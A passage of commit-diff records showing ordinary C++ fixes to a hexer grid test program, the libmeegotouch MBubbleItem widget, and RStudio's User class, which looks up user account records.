std::string command(argv[1], strlen(argv[1]));\n std::string filename(argv[2], strlen(argv[2]));\n \n\ttry\n\t{\n\n\t\tif (boost::iequals(command, \"BOUNDARY\"))\n\t\t{\n\t\t\tboundarytest(filename);\n\t\t\treturn 0;\n\t\t}\n \n\t\tif (boost::iequals(command, \"PATH\"))\n\t\t{\n\t\t\tpathtest(filename);\n\t\t\treturn 0;\n\t\t}\n\n\t\tif (boost::iequals(command, \"HEX\"))\n\t\t{\n\t\t\thextest(filename);\n\t\t\treturn 0;\n\t\t} \n\n\t\tstd::cout << \"Command '\" << command << \"' not recognized\" << std::endl;\n\t\treturn 1;\n\t} catch (hexer::hexer_error const& e)\n\t{\n\t\tstd::cout << \"Hexer failed with error: '\" << e.what() << \"'\" << std::endl;\n\t\treturn 1;\n\t}\n \n}\n\n<commit_msg>use size_t for return<commit_after>\/*****************************************************************************\n\n (c) 2013 Hobu, Inc. hobu.inc@gmail.com\n\n Author: Andrew Bell andrew.bell.ia at gmail.com\n\n This is free software; you can redistribute and\/or modify it under the\n terms of the GNU Lesser General Licence as published by the Free Software\n Foundation. See the COPYING file for more information.\n\n This software is distributed WITHOUT ANY WARRANTY and without even the\n implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n\n*****************************************************************************\/\n\n#include <hexer\/Processor.hpp>\n#include \"las.hpp\"\n\n#include <fstream>\n#include <sstream>\n\n#include <boost\/algorithm\/string\/compare.hpp>\n\nusing namespace std;\n\n\nbool readHex(int& x, int& y, void* ctx)\n{\n static int pos = 0;\n\n static int coords[] = {\n 0, 0,\n 1, 0,\n 2, 1,\n 3, 1,\n 4, 2,\n 4, 3,\n 4, 4,\n 3, 4,\n 2, 5,\n 1, 5,\n 0, 5,\n -1, 4,\n -2, 4,\n -3, 3,\n -3, 2,\n -3, 1,\n -2, 1,\n -1, 0,\n -1, 2,\n 0, 2,\n 1, 3,\n 2, 3\n };\n\n static int num_coords = sizeof(coords) \/ (sizeof(coords[0]));\n \n if (pos + 1 < num_coords) {\n x = coords[pos++];\n y = coords[pos++];\n return true;\n }\n return false;\n}\n\n\nstd::string indent(int l)\n{\n std::string tabs;\n\n tabs.append(l * 2, ' ');\n return tabs;\n}\n\nvoid dumpPath(hexer::Path *p)\n{\n using namespace hexer;\n\n static int level = 0;\n Orientation o = p->orientation();\n std::string ostring = ((o == CLOCKWISE) ? \"CLOCKWISE\" : \"ANTICLOCKWISE\");\n indent(level);\n cerr << indent(level) << \"Path length = \" << p->pathLength() << \"!\\n\";\n cerr << indent(level) << \"Orientation = \" << ostring << \"!\\n\";\n vector<Path *> paths = p->subPaths();\n level++;\n for (int pi = 0; pi != paths.size(); ++pi)\n {\n dumpPath(paths[pi]);\n }\n level--;\n}\n\nvoid hextest(std::string filename)\n{\n using namespace hexer;\n\n vector<GridInfo *> infos;\n GridInfo *gi = new GridInfo;\n\n gi->m_hexsize = 10;\n gi->m_density = 10;\n infos.push_back(gi);\n\n \/\/ LAS l(filename);\n \/\/ l.open();\n \/\/ process(infos, l.reader);\n \n processHexes(infos, readHex);\n\n \/\/ Dump hexes.\n for (HexIter iter = gi->begin(); iter != gi->end(); ++iter)\n {\n HexInfo hi = *iter;\n cerr << \"Density\/X\/Y = \" << hi.m_density << \"\/\" <<\n hi.m_center.m_x << \"\/\" << hi.m_center.m_y << \"!\\n\";\n }\n\n delete gi;\n}\n\nvoid pathtest(std::string filename)\n{\n using namespace hexer;\n\n vector<GridInfo *> infos;\n GridInfo *gi = new GridInfo;\n\n infos.push_back(gi);\n LAS l(filename);\n l.open();\n process(infos, l.reader);\n\n for (std::vector<Path*>::size_type pi = 0; pi < gi->rootPaths().size(); ++pi)\n {\n Path *p = gi->rootPaths()[pi];\n dumpPath(p);\n }\n\n delete gi;\n}\n\nvoid boundarytest(std::string filename)\n{\n using namespace hexer;\n\n vector<GridInfo *> infos;\n GridInfo *gi = new GridInfo;\n\n infos.push_back(gi);\n \n LAS l(filename);\n l.open();\n process(infos, l.reader);\n\n std::ostringstream multi;\n multi.setf(std::ios::fixed);\n multi.precision(8);\n \n gi->toWKT(multi);\n\n std::cout << multi.str() << std::endl;\n\n delete gi;\n}\n\nstd::size_t main(int argc, char* argv[])\n{\n\n \n if (argc < 3)\n {\n std::cerr << \"please specify a command and a filename. $ hextest PATH filename.las\" << std::endl;\n\t\treturn 1;\n }\n \n std::string command(argv[1], strlen(argv[1]));\n std::string filename(argv[2], strlen(argv[2]));\n \n\ttry\n\t{\n\n\t\tif (boost::iequals(command, \"BOUNDARY\"))\n\t\t{\n\t\t\tboundarytest(filename);\n\t\t\treturn 0;\n\t\t}\n \n\t\tif (boost::iequals(command, \"PATH\"))\n\t\t{\n\t\t\tpathtest(filename);\n\t\t\treturn 0;\n\t\t}\n\n\t\tif (boost::iequals(command, \"HEX\"))\n\t\t{\n\t\t\thextest(filename);\n\t\t\treturn 0;\n\t\t} \n\n\t\tstd::cout << \"Command '\" << command << \"' not recognized\" << std::endl;\n\t\treturn 1;\n\t} catch (hexer::hexer_error const& e)\n\t{\n\t\tstd::cout << \"Hexer failed with error: '\" << e.what() << \"'\" << std::endl;\n\t\treturn 1;\n\t}\n \n}\n\n<|endoftext|>"} {"text":"<commit_before>\/***************************************************************************\n**\n** Copyright (C) 2010 Nokia Corporation and\/or its subsidiary(-ies).\n** All rights reserved.\n** Contact: Nokia Corporation (directui@nokia.com)\n**\n** This file is part of libmeegotouch.\n**\n** If you have questions regarding the use of this file, please contact\n** Nokia at directui@nokia.com.\n**\n** This library is free software; you can redistribute it and\/or\n** modify it under the terms of the GNU Lesser General Public\n** License version 2.1 as published by the Free Software Foundation\n** and appearing in the file LICENSE.LGPL included in the packaging\n** of this file.\n**\n****************************************************************************\/\n\n\n#include \"mbubbleitem.h\"\n#include \"mbubbleitem_p.h\"\n#include \"mbubbleitemmodel.h\"\n\n#include \"mimagewidget.h\"\n#include \"mlabel.h\"\n#include \"mwidgetcreator.h\"\n\nM_REGISTER_WIDGET(MBubbleItem)\n\nMBubbleItemPrivate::MBubbleItemPrivate()\n : MWidgetControllerPrivate(),\n commentsLabel(NULL),\n thumbsUpLabel(NULL),\n commentsIcon(NULL),\n thumbsUpIcon(NULL)\n{\n}\n\nMBubbleItemPrivate::~MBubbleItemPrivate()\n{\n}\n\nvoid MBubbleItemPrivate::init()\n{\n}\n\nvoid MBubbleItemPrivate::createCommentsInfo()\n{\n Q_Q(MBubbleItem);\n\n commentsLabel = new MLabel;\n commentsLabel->setParent(q);\n\n commentsIcon = new MImageWidget;\n commentsIcon->setParent(q);\n commentsIcon->setObjectName(\"InformationalIcon\");\n commentsIcon->setImage(\"icon-s-common-comments\", commentsIcon->minimumSize().toSize());\n\n q->addInformationWidget(commentsIcon);\n q->addInformationWidget(commentsLabel);\n\n refreshStyles();\n}\nvoid MBubbleItemPrivate::destroyCommentsInfo()\n{\n Q_Q(MBubbleItem);\n\n q->removeInformationWidget(commentsLabel);\n q->removeInformationWidget(commentsIcon);\n if(commentsLabel->parent() == q)\n delete commentsLabel;\n if(commentsIcon->parent() == q)\n delete commentsIcon;\n commentsLabel = NULL;\n commentsIcon = NULL;\n}\n\nvoid MBubbleItemPrivate::createThumbsUpInfo()\n{\n Q_Q(MBubbleItem);\n\n thumbsUpLabel = new MLabel;\n thumbsUpLabel->setParent(q);\n\n thumbsUpIcon = new MImageWidget;\n thumbsUpIcon->setParent(q);\n thumbsUpIcon->setObjectName(\"InformationalIcon\");\n thumbsUpIcon->setImage(\"icon-s-common-like\", thumbsUpIcon->minimumSize().toSize());\n\n q->addInformationWidget(thumbsUpIcon);\n q->addInformationWidget(thumbsUpLabel);\n\n refreshStyles();\n}\nvoid MBubbleItemPrivate::destroyThumbsUpInfo()\n{\n Q_Q(MBubbleItem);\n\n q->removeInformationWidget(thumbsUpLabel);\n q->removeInformationWidget(thumbsUpIcon);\n if(thumbsUpLabel->parent() == q)\n delete thumbsUpLabel;\n if(thumbsUpIcon->parent() == q)\n delete thumbsUpIcon;\n\n thumbsUpLabel = NULL;\n thumbsUpIcon = NULL;\n}\n\nvoid MBubbleItemPrivate::refreshStyles()\n{\n Q_Q(MBubbleItem);\n\n if (q->messageType() == MBubbleItem::Incoming) {\n if (thumbsUpLabel)\n thumbsUpLabel->setObjectName(\"InformationalLabelIncoming\");\n if (commentsLabel)\n commentsLabel->setObjectName(\"InformationalLabelIncoming\");\n } else {\n if (thumbsUpLabel)\n thumbsUpLabel->setObjectName(\"InformationalLabelOutgoing\");\n if (commentsLabel)\n commentsLabel->setObjectName(\"InformationalLabelOutgoing\");\n }\n}\n\nMBubbleItem::MBubbleItem(QGraphicsItem *parent)\n : MWidgetController(new MBubbleItemPrivate, new MBubbleItemModel, parent)\n{\n Q_D(MBubbleItem);\n \n d->init();\n}\n\nMBubbleItem::MBubbleItem(MBubbleItemPrivate *dd, MBubbleItemModel *model, QGraphicsItem *parent)\n : MWidgetController(dd, model, parent)\n{\n Q_D(MBubbleItem);\n \n d->init();\n}\n\nMBubbleItem::~MBubbleItem()\n{\n}\n\nMImageWidget* MBubbleItem::avatar() const\n{\n return model()->avatar();\n}\n\nvoid MBubbleItem::setAvatar(MImageWidget* avatar)\n{\n MImageWidget *oldAvatar = model()->avatar();\n if(oldAvatar == avatar)\n return;\n\n model()->setAvatar(avatar);\n if(oldAvatar && oldAvatar->parent() == this)\n delete oldAvatar;\n}\n\nvoid MBubbleItem::setAvatar(const QPixmap &avatar)\n{\n model()->beginTransaction();\n\n if (!model()->avatar()) {\n model()->setAvatar(new MImageWidget);\n model()->avatar()->setParent(this);\n }\n\n model()->avatar()->setPixmap(avatar);\n model()->commitTransaction();\n}\n\nQString MBubbleItem::senderName()\n{\n return model()->senderName();\n}\n\nvoid MBubbleItem::setSenderName(const QString &senderName)\n{\n model()->setSenderName(senderName);\n}\n\nQString MBubbleItem::timeStamp()\n{\n return model()->timeStamp();\n}\n\nvoid MBubbleItem::setTimeStamp(const QString &timeStamp)\n{\n model()->setTimeStamp(timeStamp);\n}\n\nQString MBubbleItem::message()\n{\n return model()->message();\n}\n\nvoid MBubbleItem::setMessage(const QString &message)\n{\n model()->setMessage(message);\n}\n\nMBubbleItem::MessageType MBubbleItem::messageType() const\n{\n return static_cast<MBubbleItem::MessageType>(model()->messageType());\n}\n\nvoid MBubbleItem::setMessageType(MessageType messageType)\n{\n Q_D(MBubbleItem);\n\n model()->beginTransaction();\n model()->setMessageType(messageType);\n\n d->refreshStyles();\n\n model()->commitTransaction();\n}\n\nvoid MBubbleItem::setCentralWidget(QGraphicsWidget* centralWidget)\n{\n QGraphicsWidget *oldCentralWidget = model()->centralWidget();\n if(oldCentralWidget == centralWidget)\n return;\n\n model()->setCentralWidget(centralWidget);\n if(oldCentralWidget && oldCentralWidget->parent() == this)\n delete oldCentralWidget;\n}\n\nQGraphicsWidget* MBubbleItem::centralWidget()\n{\n return model()->centralWidget();\n}\n\nQStack<QGraphicsWidget*> MBubbleItem::informationWidgets()\n{\n return model()->informationWidgets();\n}\n\nvoid MBubbleItem::addInformationWidget(QGraphicsWidget *widget)\n{\n QStack<QGraphicsWidget*> stack = model()->informationWidgets();\n stack.push(widget);\n model()->setInformationWidgets(stack);\n}\n\nvoid MBubbleItem::removeInformationWidget(QGraphicsWidget *widget)\n{\n QStack<QGraphicsWidget*> stack = model()->informationWidgets();\n int index = stack.indexOf(widget);\n if (index >= 0) {\n stack.remove(index);\n model()->setInformationWidgets(stack);\n }\n}\n\nQString MBubbleItem::commentsString()\n{\n Q_D(MBubbleItem);\n\n if (d->commentsLabel)\n return model()->commentsString();\n\n return QString();\n}\n\nvoid MBubbleItem::setCommentsString(const QString &comments)\n{\n Q_D(MBubbleItem);\n\n if(!comments.isEmpty()) {\n if (!d->commentsLabel || !d->commentsIcon)\n d->createCommentsInfo();\n d->commentsLabel->setText(comments);\n } else if (d->commentsLabel != NULL || d->commentsIcon)\n d->destroyCommentsInfo();\n\n model()->setCommentsString(comments);\n}\n\nQString MBubbleItem::thumbsUpString()\n{\n Q_D(MBubbleItem);\n\n if (d->thumbsUpLabel)\n return model()->thumbsUpString();\n\n return QString();\n}\n\nvoid MBubbleItem::setThumbsUpString(const QString &thumbsUp)\n{\n Q_D(MBubbleItem);\n\n if(!thumbsUp.isEmpty()) {\n if (!d->thumbsUpLabel) {\n Q_ASSERT(!d->thumbsUpIcon);\n d->createThumbsUpInfo();\n Q_ASSERT(d->thumbsUpLabel);\n Q_ASSERT(d->thumbsUpIcon);\n }\n d->thumbsUpLabel->setText(thumbsUp);\n } else if (d->thumbsUpLabel != NULL) {\n Q_ASSERT(d->thumbsUpIcon);\n d->destroyThumbsUpInfo();\n }\n\n model()->setThumbsUpString(thumbsUp);\n}\n\n<commit_msg>Changes: MBubbleItem - make coverity even more happy<commit_after>\/***************************************************************************\n**\n** Copyright (C) 2010 Nokia Corporation and\/or its subsidiary(-ies).\n** All rights reserved.\n** Contact: Nokia Corporation (directui@nokia.com)\n**\n** This file is part of libmeegotouch.\n**\n** If you have questions regarding the use of this file, please contact\n** Nokia at directui@nokia.com.\n**\n** This library is free software; you can redistribute it and\/or\n** modify it under the terms of the GNU Lesser General Public\n** License version 2.1 as published by the Free Software Foundation\n** and appearing in the file LICENSE.LGPL included in the packaging\n** of this file.\n**\n****************************************************************************\/\n\n\n#include \"mbubbleitem.h\"\n#include \"mbubbleitem_p.h\"\n#include \"mbubbleitemmodel.h\"\n\n#include \"mimagewidget.h\"\n#include \"mlabel.h\"\n#include \"mwidgetcreator.h\"\n\nM_REGISTER_WIDGET(MBubbleItem)\n\nMBubbleItemPrivate::MBubbleItemPrivate()\n : MWidgetControllerPrivate(),\n commentsLabel(NULL),\n thumbsUpLabel(NULL),\n commentsIcon(NULL),\n thumbsUpIcon(NULL)\n{\n}\n\nMBubbleItemPrivate::~MBubbleItemPrivate()\n{\n}\n\nvoid MBubbleItemPrivate::init()\n{\n}\n\nvoid MBubbleItemPrivate::createCommentsInfo()\n{\n Q_Q(MBubbleItem);\n\n commentsLabel = new MLabel;\n commentsLabel->setParent(q);\n\n commentsIcon = new MImageWidget;\n commentsIcon->setParent(q);\n commentsIcon->setObjectName(\"InformationalIcon\");\n commentsIcon->setImage(\"icon-s-common-comments\", commentsIcon->minimumSize().toSize());\n\n q->addInformationWidget(commentsIcon);\n q->addInformationWidget(commentsLabel);\n\n refreshStyles();\n}\nvoid MBubbleItemPrivate::destroyCommentsInfo()\n{\n Q_Q(MBubbleItem);\n\n q->removeInformationWidget(commentsLabel);\n q->removeInformationWidget(commentsIcon);\n if(commentsLabel->parent() == q)\n delete commentsLabel;\n if(commentsIcon->parent() == q)\n delete commentsIcon;\n commentsLabel = NULL;\n commentsIcon = NULL;\n}\n\nvoid MBubbleItemPrivate::createThumbsUpInfo()\n{\n Q_Q(MBubbleItem);\n\n thumbsUpLabel = new MLabel;\n thumbsUpLabel->setParent(q);\n\n thumbsUpIcon = new MImageWidget;\n thumbsUpIcon->setParent(q);\n thumbsUpIcon->setObjectName(\"InformationalIcon\");\n thumbsUpIcon->setImage(\"icon-s-common-like\", thumbsUpIcon->minimumSize().toSize());\n\n q->addInformationWidget(thumbsUpIcon);\n q->addInformationWidget(thumbsUpLabel);\n\n refreshStyles();\n}\nvoid MBubbleItemPrivate::destroyThumbsUpInfo()\n{\n Q_Q(MBubbleItem);\n\n q->removeInformationWidget(thumbsUpLabel);\n q->removeInformationWidget(thumbsUpIcon);\n if(thumbsUpLabel->parent() == q)\n delete thumbsUpLabel;\n if(thumbsUpIcon->parent() == q)\n delete thumbsUpIcon;\n\n thumbsUpLabel = NULL;\n thumbsUpIcon = NULL;\n}\n\nvoid MBubbleItemPrivate::refreshStyles()\n{\n Q_Q(MBubbleItem);\n\n if (q->messageType() == MBubbleItem::Incoming) {\n if (thumbsUpLabel)\n thumbsUpLabel->setObjectName(\"InformationalLabelIncoming\");\n if (commentsLabel)\n commentsLabel->setObjectName(\"InformationalLabelIncoming\");\n } else {\n if (thumbsUpLabel)\n thumbsUpLabel->setObjectName(\"InformationalLabelOutgoing\");\n if (commentsLabel)\n commentsLabel->setObjectName(\"InformationalLabelOutgoing\");\n }\n}\n\nMBubbleItem::MBubbleItem(QGraphicsItem *parent)\n : MWidgetController(new MBubbleItemPrivate, new MBubbleItemModel, parent)\n{\n Q_D(MBubbleItem);\n \n d->init();\n}\n\nMBubbleItem::MBubbleItem(MBubbleItemPrivate *dd, MBubbleItemModel *model, QGraphicsItem *parent)\n : MWidgetController(dd, model, parent)\n{\n Q_D(MBubbleItem);\n \n d->init();\n}\n\nMBubbleItem::~MBubbleItem()\n{\n}\n\nMImageWidget* MBubbleItem::avatar() const\n{\n return model()->avatar();\n}\n\nvoid MBubbleItem::setAvatar(MImageWidget* avatar)\n{\n MImageWidget *oldAvatar = model()->avatar();\n if(oldAvatar == avatar)\n return;\n\n model()->setAvatar(avatar);\n if(oldAvatar && oldAvatar->parent() == this)\n delete oldAvatar;\n}\n\nvoid MBubbleItem::setAvatar(const QPixmap &avatar)\n{\n model()->beginTransaction();\n\n if (!model()->avatar()) {\n model()->setAvatar(new MImageWidget);\n model()->avatar()->setParent(this);\n }\n\n model()->avatar()->setPixmap(avatar);\n model()->commitTransaction();\n}\n\nQString MBubbleItem::senderName()\n{\n return model()->senderName();\n}\n\nvoid MBubbleItem::setSenderName(const QString &senderName)\n{\n model()->setSenderName(senderName);\n}\n\nQString MBubbleItem::timeStamp()\n{\n return model()->timeStamp();\n}\n\nvoid MBubbleItem::setTimeStamp(const QString &timeStamp)\n{\n model()->setTimeStamp(timeStamp);\n}\n\nQString MBubbleItem::message()\n{\n return model()->message();\n}\n\nvoid MBubbleItem::setMessage(const QString &message)\n{\n model()->setMessage(message);\n}\n\nMBubbleItem::MessageType MBubbleItem::messageType() const\n{\n return static_cast<MBubbleItem::MessageType>(model()->messageType());\n}\n\nvoid MBubbleItem::setMessageType(MessageType messageType)\n{\n Q_D(MBubbleItem);\n\n model()->beginTransaction();\n model()->setMessageType(messageType);\n\n d->refreshStyles();\n\n model()->commitTransaction();\n}\n\nvoid MBubbleItem::setCentralWidget(QGraphicsWidget* centralWidget)\n{\n QGraphicsWidget *oldCentralWidget = model()->centralWidget();\n if(oldCentralWidget == centralWidget)\n return;\n\n model()->setCentralWidget(centralWidget);\n if(oldCentralWidget && oldCentralWidget->parent() == this)\n delete oldCentralWidget;\n}\n\nQGraphicsWidget* MBubbleItem::centralWidget()\n{\n return model()->centralWidget();\n}\n\nQStack<QGraphicsWidget*> MBubbleItem::informationWidgets()\n{\n return model()->informationWidgets();\n}\n\nvoid MBubbleItem::addInformationWidget(QGraphicsWidget *widget)\n{\n QStack<QGraphicsWidget*> stack = model()->informationWidgets();\n stack.push(widget);\n model()->setInformationWidgets(stack);\n}\n\nvoid MBubbleItem::removeInformationWidget(QGraphicsWidget *widget)\n{\n QStack<QGraphicsWidget*> stack = model()->informationWidgets();\n int index = stack.indexOf(widget);\n if (index >= 0) {\n stack.remove(index);\n model()->setInformationWidgets(stack);\n }\n}\n\nQString MBubbleItem::commentsString()\n{\n Q_D(MBubbleItem);\n\n if (d->commentsLabel)\n return model()->commentsString();\n\n return QString();\n}\n\nvoid MBubbleItem::setCommentsString(const QString &comments)\n{\n Q_D(MBubbleItem);\n\n if(!comments.isEmpty()) {\n if (!d->commentsLabel)\n d->createCommentsInfo();\n Q_ASSERT(d->commentsLabel);\n Q_ASSERT(d->commentsIcon);\n d->commentsLabel->setText(comments);\n } else if (d->commentsLabel) {\n Q_ASSERT(d->commentsIcon);\n d->destroyCommentsInfo();\n Q_ASSERT(!d->commentsLabel);\n Q_ASSERT(!d->commentsIcon);\n }\n\n model()->setCommentsString(comments);\n}\n\nQString MBubbleItem::thumbsUpString()\n{\n Q_D(MBubbleItem);\n\n if (d->thumbsUpLabel)\n return model()->thumbsUpString();\n\n return QString();\n}\n\nvoid MBubbleItem::setThumbsUpString(const QString &thumbsUp)\n{\n Q_D(MBubbleItem);\n\n if(!thumbsUp.isEmpty()) {\n if (!d->thumbsUpLabel) {\n Q_ASSERT(!d->thumbsUpIcon);\n d->createThumbsUpInfo();\n Q_ASSERT(d->thumbsUpLabel);\n Q_ASSERT(d->thumbsUpIcon);\n }\n d->thumbsUpLabel->setText(thumbsUp);\n } else if (d->thumbsUpLabel != NULL) {\n Q_ASSERT(d->thumbsUpIcon);\n d->destroyThumbsUpInfo();\n }\n\n model()->setThumbsUpString(thumbsUp);\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n * User.cpp\n * \n * Copyright (C) 2019-20 by RStudio, PBC\n *\n * Unless you have received this program directly from RStudio pursuant to the terms of a commercial license agreement\n * with RStudio, then this program is licensed to you under the following terms:\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated\n * documentation files (the \"Software\"), to deal in the Software without restriction, including without limitation the\n * rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell copies of the Software, and to\n * permit persons to whom the Software is furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all copies or substantial portions of the\n * Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE\n * WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR\n * COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR\n * OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n *\n *\/\n\n#include <shared_core\/system\/User.hpp>\n\n#include <pwd.h>\n\n#include <boost\/algorithm\/string.hpp>\n\n#include <shared_core\/Error.hpp>\n#include <shared_core\/FilePath.hpp>\n#include <shared_core\/SafeConvert.hpp>\n\nnamespace rstudio {\nnamespace core {\nnamespace system {\n\nnamespace {\n\ninline std::string getEnvVariable(const std::string& in_name)\n{\n char* value = ::getenv(in_name.c_str());\n if (value)\n return std::string(value);\n\n return std::string();\n}\n\n} \/\/ anonymous namespace\n\nstruct User::Impl\n{\n template<class T>\n using GetPasswdFunc = std::function<int(T, struct passwd*, char*, size_t, struct passwd**)>;\n\n Impl() : UserId(-1), GroupId(-1)\n { };\n\n template<typename T>\n Error populateUser(const GetPasswdFunc<T>& in_getPasswdFunc, T in_value)\n {\n struct passwd pwd;\n struct passwd* tempPtrPwd;\n\n \/\/ Get the maximum size of a passwd for this system.\n long buffSize = ::sysconf(_SC_GETPW_R_SIZE_MAX);\n if (buffSize == 1)\n buffSize = 4096; \/\/ some systems return -1, be conservative!\n\n std::vector<char> buffer(buffSize);\n int result = in_getPasswdFunc(in_value, &pwd, &(buffer[0]), buffSize, &tempPtrPwd);\n if (tempPtrPwd == nullptr)\n {\n if (result == 0) \/\/ will happen if user is simply not found. Return EACCES (not found error).\n result = EACCES;\n\n Error error = systemError(result, \"Failed to get user details.\", ERROR_LOCATION);\n error.addProperty(\"user-value\", safe_convert::numberToString(in_value));\n return error;\n }\n else\n {\n UserId = pwd.pw_uid;\n GroupId = pwd.pw_gid;\n Name = pwd.pw_name;\n HomeDirectory = FilePath(pwd.pw_dir);\n Shell = pwd.pw_shell;\n }\n\n return Success();\n }\n\n UidType UserId;\n GidType GroupId;\n std::string Name;\n FilePath HomeDirectory;\n std::string Shell;\n};\n\nPRIVATE_IMPL_DELETER_IMPL(User)\n\nUser::User(bool in_isEmpty) :\n m_impl(new Impl())\n{\n m_impl->Name = in_isEmpty ? \"\" : \"*\";\n}\n\nUser::User(const User& in_other) :\n m_impl(new Impl(*in_other.m_impl))\n{\n}\n\nError User::getCurrentUser(User& out_currentUser)\n{\n return getUserFromIdentifier(::geteuid(), out_currentUser);\n}\n\nError User::getUserFromIdentifier(const std::string& in_username, User& out_user)\n{\n User user;\n\n Error error = user.m_impl->populateUser<const char*>(::getpwnam_r, in_username.c_str());\n if (!error)\n out_user = user;\n\n return error;\n}\n\nError User::getUserFromIdentifier(UidType in_userId, User& out_user)\n{\n User user;\n Error error = user.m_impl->populateUser<UidType>(::getpwuid_r, in_userId);\n if (!error)\n out_user = user;\n\n return error;\n}\n\nFilePath User::getUserHomePath(const std::string& in_envOverride)\n{\n \/\/ use environment override if specified\n if (!in_envOverride.empty())\n {\n using namespace boost::algorithm;\n for (split_iterator<std::string::const_iterator> it =\n make_split_iterator(in_envOverride, first_finder(\"|\", is_iequal()));\n it != split_iterator<std::string::const_iterator>();\n ++it)\n {\n std::string envHomePath = getEnvVariable(boost::copy_range<std::string>(*it));\n if (!envHomePath.empty())\n {\n FilePath userHomePath(envHomePath);\n if (userHomePath.exists())\n return userHomePath;\n }\n }\n }\n\n \/\/ otherwise use standard unix HOME\n return FilePath(getEnvVariable(\"HOME\"));\n}\n\nUser& User::operator=(const User& in_other)\n{\n if (this == &in_other)\n return *this;\n\n if ((m_impl == nullptr) && (in_other.m_impl == nullptr))\n return *this;\n\n if (in_other.m_impl == nullptr)\n {\n m_impl.reset();\n return *this;\n }\n\n if (m_impl == nullptr)\n m_impl.reset(new Impl());\n\n *m_impl = *in_other.m_impl;\n\n return *this;\n}\n\nbool User::operator==(const User& in_other) const\n{\n \/\/ If one or the other is empty but not both, these objects aren't equal.\n if (isEmpty() != in_other.isEmpty())\n return false;\n\n \/\/ Otherwise they're both empty or they're both not, so just return true if this user is empty.\n if (isEmpty())\n return true;\n\n \/\/ If one or the other is all users but not both, these aren't the same user.\n if (isAllUsers() != in_other.isAllUsers())\n return false;\n\n \/\/ Otherwise they're both all users or they're both not, so just return true if this user is all users.\n if (isAllUsers())\n return true;\n\n return getUserId() == in_other.getUserId();\n}\n\nbool User::operator!=(const User &in_other) const\n{\n return !(*this == in_other);\n}\n\nbool User::exists() const\n{\n return !isEmpty() && !isAllUsers();\n}\n\nbool User::isAllUsers() const\n{\n return m_impl->Name == \"*\";\n}\n\nbool User::isEmpty() const\n{\n return m_impl->Name.empty();\n}\n\nconst FilePath& User::getHomePath() const\n{\n return m_impl->HomeDirectory;\n}\n\nGidType User::getGroupId() const\n{\n return m_impl->GroupId;\n}\n\nUidType User::getUserId() const\n{\n return m_impl->UserId;\n}\n\nconst std::string& User::getUsername() const\n{\n return m_impl->Name;\n}\n\nconst std::string& User::getShell() const\n{\n return m_impl->Shell;\n}\n\n} \/\/ namespace system\n} \/\/ namespace core\n} \/\/ namespace rstudio\n\n<commit_msg>correct typo (and also just treat any negative value the same)<commit_after>\/*\n * User.cpp\n * \n * Copyright (C) 2019-20 by RStudio, PBC\n *\n * Unless you have received this program directly from RStudio pursuant to the terms of a commercial license agreement\n * with RStudio, then this program is licensed to you under the following terms:\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated\n * documentation files (the \"Software\"), to deal in the Software without restriction, including without limitation the\n * rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell copies of the Software, and to\n * permit persons to whom the Software is furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all copies or substantial portions of the\n * Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE\n * WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR\n * COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR\n * OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n *\n *\/\n\n#include <shared_core\/system\/User.hpp>\n\n#include <pwd.h>\n\n#include <boost\/algorithm\/string.hpp>\n\n#include <shared_core\/Error.hpp>\n#include <shared_core\/FilePath.hpp>\n#include <shared_core\/SafeConvert.hpp>\n\nnamespace rstudio {\nnamespace core {\nnamespace system {\n\nnamespace {\n\ninline std::string getEnvVariable(const std::string& in_name)\n{\n char* value = ::getenv(in_name.c_str());\n if (value)\n return std::string(value);\n\n return std::string();\n}\n\n} \/\/ anonymous namespace\n\nstruct User::Impl\n{\n template<class T>\n using GetPasswdFunc = std::function<int(T, struct passwd*, char*, size_t, struct passwd**)>;\n\n Impl() : UserId(-1), GroupId(-1)\n { };\n\n template<typename T>\n Error populateUser(const GetPasswdFunc<T>& in_getPasswdFunc, T in_value)\n {\n struct passwd pwd;\n struct passwd* tempPtrPwd;\n\n \/\/ Get the maximum size of a passwd for this system.\n long buffSize = ::sysconf(_SC_GETPW_R_SIZE_MAX);\n if (buffSize < 0)\n buffSize = 4096; \/\/ some systems return -1, be conservative!\n\n std::vector<char> buffer(buffSize);\n int result = in_getPasswdFunc(in_value, &pwd, &(buffer[0]), buffSize, &tempPtrPwd);\n if (tempPtrPwd == nullptr)\n {\n if (result == 0) \/\/ will happen if user is simply not found. Return EACCES (not found error).\n result = EACCES;\n\n Error error = systemError(result, \"Failed to get user details.\", ERROR_LOCATION);\n error.addProperty(\"user-value\", safe_convert::numberToString(in_value));\n return error;\n }\n else\n {\n UserId = pwd.pw_uid;\n GroupId = pwd.pw_gid;\n Name = pwd.pw_name;\n HomeDirectory = FilePath(pwd.pw_dir);\n Shell = pwd.pw_shell;\n }\n\n return Success();\n }\n\n UidType UserId;\n GidType GroupId;\n std::string Name;\n FilePath HomeDirectory;\n std::string 